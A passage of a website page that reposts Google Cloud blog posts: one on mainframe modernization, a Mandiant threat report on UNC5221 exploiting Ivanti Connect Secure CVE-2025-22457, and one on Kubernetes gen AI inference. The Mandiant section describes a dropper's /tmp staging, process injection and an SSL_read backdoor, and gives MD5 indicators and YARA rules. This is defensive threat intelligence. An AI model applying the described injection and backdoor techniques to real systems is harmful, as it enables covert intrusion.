    By replaying live events from the production mainframe onto the modernized cloud application, Dual Run compares the output between the two systems to detect any differences.Learn more.

    Get started with Google Cloud Mainframe Assessment Tool, Mainframe Rewrite and Dual Run.

    aside_block
    <ListValue: [StructValue([('title', 'Try Google Cloud for free'), ('body', <wagtail.rich_text.RichText object at 0x3e2a4aae3070>), ('btn_text', 'Get started for free'), ('href', 'https://console.cloud.google.com/freetrial?redirectPath=/welcome'), ('image', None)])]>

    Now you can use our partners’ technology, too 

    For customers who want to take a more interactive and incremental approach to mainframe modernization, our partnerMechanical Orchard offers a platform that rapidly rewrites mainframe applications into idiomatic modern languages  without changing the logic. Once this is achieved, the modern code lends itself to more rapid transformation. This kind of gradual transformation is also the foundation of the AI-accelerated Mainframe Modernization collaboration between global consultancy Thoughtworks and Mechanical Orchard.

    The Mechanical Orchard’s modernization platform combines data capture agents with a highly disciplined methodology to modernize legacy systems incrementally and non-disruptively. It reconstructs system behavior from real data flows, rewriting components piece by piece using generative AI into modern, idiomatic, and deterministic code. By shifting integration and testing earlier, it also reduces risk, and ensures old and new code are functionality equivalent by refining itself until it matches the legacy system's output. Workloads are migrated individually to the cloud production environment. This approach reduces project risk and disruption and can provide faster time to value.

    The primary goal is to create a functional equivalent of the legacy system, ensuring that the new code produces identical outputs for every input. Mechanical Orchard supports COBOL-era systems and can generate code in languages like Java, Python, and others.

    Google’s leading delivery partners go further to accelerate and de-risk modernization

    Our newMainframe Modernization with Gen AI Acceleratorprogram adds another vital ingredient – the strong experience and capable teams of our expert delivery partners who will bring the above tools to life for customers. We are thrilled to welcomeAccenture,EPAMandThoughtworks to the program. They bring rich and practical experience in how to best use these AI-powered solutions to maximize modernization. Their experience in establishing modern engineering practices and providing comprehensive enablement for customer teams will empower organizations to fully embrace their cloud-native future and achieve lasting success. 

    The program has three phases:

      1. Highly detailed assessment:This phase analyzes the environment using the Google Mainframe Assessment Tool (MAT)enhanced with Gemini models and combined with the partners expertise. From this detailed assessment, customers will receive detailed documentation about their mainframe applications (knowledge base and explainability of the mainframe applications), modernization recommendations, and a modernization plan with estimated timelines, resources, and specific approaches.

      2. Proof of value stage

      3. Executing the modernization at scale

    For a limited time, qualified customers can access this assessment (typically done in four to eight weeks) conducted by select partners at no-cost (excluding underlying Google Cloud infrastructure usage).

    Put us to the test

    Google Cloud and partners are ready to apply generative AI to one of the most important modernization challenges. Let’s start with an assessment.  For more details and inquiries please write tomainframe@google.com.

    Get started with Google Cloud Mainframe Assessment Tool, Mainframe Rewrite and Dual Run.

  4. Written by: John Wolfram, Michael Edie, Jacob Thompson, Matt Lin, Josh Murchie


    On Thursday, April 3, 2025, Ivantidisclosed a critical security vulnerability, CVE-2025-22457, impacting Ivanti Connect Secure (“ICS”) VPN appliances version 22.7R2.5 and earlier. CVE-2025-22457 is a buffer overflow vulnerability, and successful exploitation would result in remote code execution. Mandiant and Ivanti have identified evidence of active exploitation in the wild against ICS 9.X (end of life) and 22.7R2.5 and earlier versions. Ivanti and Mandiant encourage all customers to upgrade as soon as possible. 

    The earliest evidence of observed CVE-2025-22457 exploitation occurred in mid-March 2025. Following successful exploitation, we observed the deployment of two newly identified malware families, the TRAILBLAZE in-memory only dropper and the BRUSHFIRE passive backdoor. Additionally, deployment of the previously reportedSPAWN ecosystem of malware attributed to UNC5221 was also observed. UNC5221 is a suspected China-nexus espionage actor that we previously observed conducting zero-day exploitation of edge devices dating back to 2023.

    A patch for CVE-2025-22457 was released in ICS 22.7R2.6 on February 11, 2025. The vulnerability is a buffer overflow with a limited character space, and therefore it was initially believed to be a low-risk denial-of-service vulnerability. We assess it is likely the threat actor studied the patch for the vulnerability in ICS 22.7R2.6 and uncovered through a complicated process, it was possible to exploit 22.7R2.5 and earlier to achieve remote code execution.

    Ivanti releasedpatches for the exploited vulnerability and Ivanti customers are urged to follow the actions in theSecurity Advisory to secure their systems as soon as possible.

    Post-Exploitation Tactics, Techniques, and Procedures

    Following successful exploitation, Mandiant observed the deployment of two newly identified malware families tracked as TRAILBLAZE and BRUSHFIRE through a shell script dropper. Mandiant has also observed the deployment of theSPAWN ecosystem of malware. Additionally, similar to previouslyobserved behavior, the actor attempted to modify the Integrity Checker Tool (ICT) in an attempt to evade detection.  

    Shell-script Dropper

    Following successful exploitation of CVE-2025-22457, Mandiant observed a shell script being leveraged that executes the TRAILBLAZE dropper. This dropper injects the BRUSHFIRE passive backdoor into a running/home/bin/web process. The first stage begins by searching for a/home/bin/web process that is a child process of another/home/bin/web process (the point of this appears to be to inject into theweb process that is actually listening for connections). It then creates the the following files and associated content:

    • /tmp/.p: contains the PID of the/home/bin/web process.

    • /tmp/.m: contains a memory map of that process (human-readable).

    • /tmp/.w: contains the base address of theweb binary from that process

    • /tmp/.s: contains the base address oflibssl.so from that process

    • /tmp/.r: contains the BRUSHFIRE passive backdoor

    • /tmp/.i: contains the TRAILBLAZE dropper

    The shell script then executes/tmp/.i, which is the second stage in-memory only dropper tracked as TRAILBLAZE. It then deletes all of the temporary files previously created (except for/tmp/.p), as well as the contents of the/data/var/cores directory. Next, all child processes of the/home/bin/web process are killed and the/tmp/.p file is deleted. All of this behavior is non-persistent, and the dropper will need to be re-executed if the system or process is rebooted.

    TRAILBLAZE

    TRAILBLAZE is an in-memory only dropper written in bare C that uses raw syscalls and is designed to be as minimal as possible, likely to ensure it can fit within the shell script as Base64. TRAILBLAZE injects a hook into the identified/home/bin/web process. It will then inject the BRUSHFIRE passive backdoor into a code cave inside that process.

    BRUSHFIRE

    BRUSHFIRE is a passive backdoor written in bare C that acts as anSSL_read hook. It first executes the originalSSL_read function, and checks to see if the returned data begins with a specific string. If the data begins with the string, it will XOR decrypt then execute shellcode contained in the data. If the received shellcode returns a value, the backdoor will callSSL_write to send the value back.

    SPAWNSLOTH

    As detailed in ourprevious blog post, SPAWNSLOTH acts as a log tampering component tied to the SPAWNSNAIL backdoor. It targets thedslogserver process to disable both local logging and remote syslog forwarding.

    SPAWNSNARE

    SPAWNSNARE is a utility that is written in C and targets Linux. It can be used to extract the uncompressed linux kernel image (vmlinux) into a file and encrypt it using AES without the need for any command line tools.

    SPAWNWAVE

    SPAWNWAVE is an evolved version of SPAWNANT that combines capabilities from other members of theSPAWN* malware ecosystem. SPAWNWAVE overlaps with the publicly reportedSPAWNCHIMERA andRESURGE malware families.

    Attribution

    Google Threat Intelligence Group (GTIG) attributes the exploitation of CVE-2025-22457 and the subsequent deployment of the SPAWN ecosystem of malware to the suspected China-nexus espionage actor UNC5221. GTIG has previously reported UNC5221 conducting zero-day exploitation of CVE-2025-0282, as well as the exploitation CVE-2023-46805 and CVE-2024-21887. 

    Furthermore, GTIG has also previously observed UNC5221 conducting zero-day exploitation of CVE-2023-4966, impacting NetScaler ADC and NetScaler Gateway appliances. UNC5221 has targeted a wide range of countries and verticals during their operations, and has leveraged an extensive set of tooling, spanning passive backdoors to trojanized legitimate components on various edge appliances. 

    GTIG assesses that UNC5221 will continue pursuing zero-day exploitation of edge devices based on their consistent history of success and aggressive operational tempo. Additionally, as noted in our prior blog post detailing CVE-2025-0282 exploitation, GTIG has observed UNC5221 leveraging an obfuscation network of compromised Cyberoam appliances, QNAP devices, and ASUS routers to mask their true source during intrusion operations.

    Conclusion

    This latest activity from UNC5221 underscores the ongoing sophisticated threats targeting edge devices globally. This campaign, exploiting the n-day vulnerability CVE-2025-22457, also highlights the persistent focus of actors like UNC5221 on edge devices, leveraging deep device knowledge and adding to their history of using both zero-day and now n-day flaws. This activity aligns with the broader strategy GTIG has observed among suspected China-nexus espionage groups who invest significantly in exploits and custom malware for critical edge infrastructure.

    Recommendations 

    Mandiant recommends organizations immediately apply the available patch by upgrading Ivanti Connect Secure (ICS) appliances to version 22.7R2.6 or later to address CVE-2025-22457. Additionally organizations should use the external and internal Integrity Checker Tool (“ICT”) and contact Ivanti Support if suspicious activity is identified. To supplement this, defenders should actively monitor for core dumps related to the web process, investigate ICT statedump files, and conduct anomaly detection of client TLS certificates presented to the appliance.

    Acknowledgements

    We would like to thank Daniel Spicer and the rest of the team at Ivanti for their continued partnership and support in this investigation. Additionally, this analysis would not have been possible without the assistance from analysts across Google Threat Intelligence Group and Mandiant’s FLARE, we would like to specifically thank Christopher Gardner and Dhanesh Kizhakkinan of FLARE for their support.

    Indicators of Compromise

    To assist the security community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in aGTI Collection for registered users.

    Code Family

    MD5

    Filename

    Description

    TRAILBLAZE

    4628a501088c31f53b5c9ddf6788e835

    /tmp/.i

    In-memory dropper

    BRUSHFIRE

    e5192258c27e712c7acf80303e68980b

    /tmp/.r

    Passive backdoor

    SPAWNSNARE

    6e01ef1367ea81994578526b3bd331d6

    /bin/dsmain

    Kernel extractor & encryptor

    SPAWNWAVE

    ce2b6a554ae46b5eb7d79ca5e7f440da

    /lib/libdsupgrade.so

    Implant utility

    SPAWNSLOTH

    10659b392e7f5b30b375b94cae4fdca0

    /tmp/.liblogblock.so

    Log tampering utility

    YARA Rules

    rule M_APT_Installer_SPAWNANT_1
    { 
        meta: 
            author = "Mandiant" 
            description = "Detects SPAWNANT. SPAWNANT is an 
    Installer targeting Ivanti devices. Its purpose is to persistently 
    install other malware from the SPAWN family (SPAWNSNAIL, 
    SPAWNMOLE) as well as drop additional webshells on the box." 
      
        strings: 
            $s1 = "dspkginstall" ascii fullword
            $s2 = "vsnprintf" ascii fullword
            $s3 = "bom_files" ascii fullword
            $s4 = "do-install" ascii
            $s5 = "ld.so.preload" ascii
            $s6 = "LD_PRELOAD" ascii
            $s7 = "scanner.py" ascii
            
        condition: 
            uint32(0) == 0x464c457f and 5 of ($s*)
    }
    rule M_Utility_SPAWNSNARE_1 {
        meta:
        	 author = "Mandiant"
            description = "SPAWNSNARE is a utility written in C that targets 
    Linux systems by extracting the uncompressed Linux kernel image 
    into a file and encrypting it with AES."
    
        strings:
            $s1 = "\x00extract_vmlinux\x00"
            $s2 = "\x00encrypt_file\x00"
            $s3 = "\x00decrypt_file\x00"
            $s4 = "\x00lbb_main\x00"
            $s5 = "\x00busybox\x00"
            $s6 = "\x00/etc/busybox.conf\x00"
    
        condition:
            uint32(0) == 0x464c457f
            and all of them
                      
    }
    rule M_APT_Utility_SPAWNSLOTH_2
    { 
        meta: 
            author = "Mandiant" 
            description = "Hunting rule to identify strings found in SPAWNSLOTH"
      
        strings: 
            $dslog = "dslogserver" ascii fullword
            $hook1 = "g_do_syslog_servers_exist" ascii fullword
            $hook2 = "ZN5DSLog4File3addEPKci" ascii fullword
            $hook3 = "funchook" ascii fullword
        
        condition: 
            uint32(0) == 0x464c457f and all of them
    }
  5. Over the past ten years, Kubernetes has become the leading platform for deploying cloud-native applications and microservices, backed by an extensive community and boasting a comprehensive feature set for managing distributed systems. Today, we are excited to share that Kubernetes is now unlocking new possibilities for generative AI inference.

    In partnership with Red Hat and ByteDance, we are introducing new capabilities that optimize load balancing, scaling and model server performance on Kubernetes clusters running large language model (LLMs) inference. These capabilities build on the success ofLeaderWorkerSet (LWS), which enables multi-host inference for state-of-the-art models (including ones with 671B parameters), and push the envelope on what's possible for gen AI Inference on Kubernetes.

    First, the newGateway API Inference Extension now supports LLM-aware routing, rather than traditional round robin. This makes it more cost-effective to operationalize popular Parameter-Efficient Fine-Tuning (PEFT) techniques such as Low-Rank Adaptation (LoRA) at scale, by using a base model and dynamically loading fine-tuned models (‘adapters’) based on user need. To support PEFT natively, we also introduced new APIs, namely InferencePool and InferenceModel.

    1

    Second, a newinference performance project provides a benchmarking standard for detailed model performance insights on accelerators and HPA scaling metrics and thresholds. With the growth of gen AI inference on Kubernetes, it’s important to be able to measure the performance of serving workloads alongside the performance of model servers, accelerators, and Kubernetes orchestration.

    aside_block
    <ListValue: [StructValue([('title', '$300 in free credit to try Google Cloud containers and Kubernetes'), ('body', <wagtail.rich_text.RichText object at 0x3e2a4b2a3a90>), ('btn_text', 'Start building for free'), ('href', 'http://console.cloud.google.com/freetrial?redirectpath=/marketplace/product/google/container.googleapis.com'), ('image', None)])]>

    Third,Dynamic Resource Allocation, developed with Intel and others, simplifies and automates how Kubernetes allocates and schedules GPUs, TPUs, and other devices to pods and workloads. When used along with thevLLM inference and serving engine, the community benefits from scheduling efficiency and portability across accelerators. 

    “Large-scale inference with scalability and flexibility remains a challenge on Kubernetes. We are excited to collaborate with Google and the community on the Gateway API Inference Extension project to extract common infrastructure layers, creating a more unified and efficient routing system for AI serving — enhancing both AIBrix and the broader AI ecosystem.” -Jiaxin Shan, Staff Engineer at Bytedance, and Founder at AIBrix

    “We’ve been collaborating with Google on various initiatives in the Kubernetes Serving working group, including a shared benchmarking tool for gen AI inference workloads. Working with Google, we hope to contribute to a common standard for developers to compare single-node inference performance and scale out to the multi-node architectures that Kubernetes brings to the table.” - Yuan Tang, Senior Principal Software Engineer, Red Hat

    “We are partnering with Google to improve vLLM for operationalizing deployments of open-source LLMs for enterprise, including capabilities like LoRA support and Prometheus metrics that enable customers to benefit across the full stack right from vLLM to Kubernetes primitives such as Gateway. This deep partnership across the stack ensures customers get production ready architectures to deploy at scale”  - Robert Shaw, vLLM Core Committer and Senior Director of Engineering Neural Magic (acquired by Red Hat)

    2

    Together, these projects allow customers to qualify and benchmark accelerators with the inference performance project, operationalize scale-out architectures with LLM-aware routing with the Gateway API Inference extension, and provide an environment with scheduling and fungibility benefits across a wide range of accelerators with DRA and vLLM. To try out these new capabilities for running gen AI inference on Kubernetes, visitGateway API Inference Extension, theinference performance project orDynamic Resource Allocation. Also, be sure to visit us at KubeCon in London this week, where we'll be participating in thekeynote as well asmany other sessions. Stop by Booth S100 to say hi!

About Mesoform

For more than two decades we have been implementing solutions to wasteful processes and inefficient systems in large organisations like TiscaliHSBC and HMRC, and impressing our cloud based IT Operations on well known brands, such as RIMSonySamsung and SiriusXM... Read more

Mesoform is proud to be a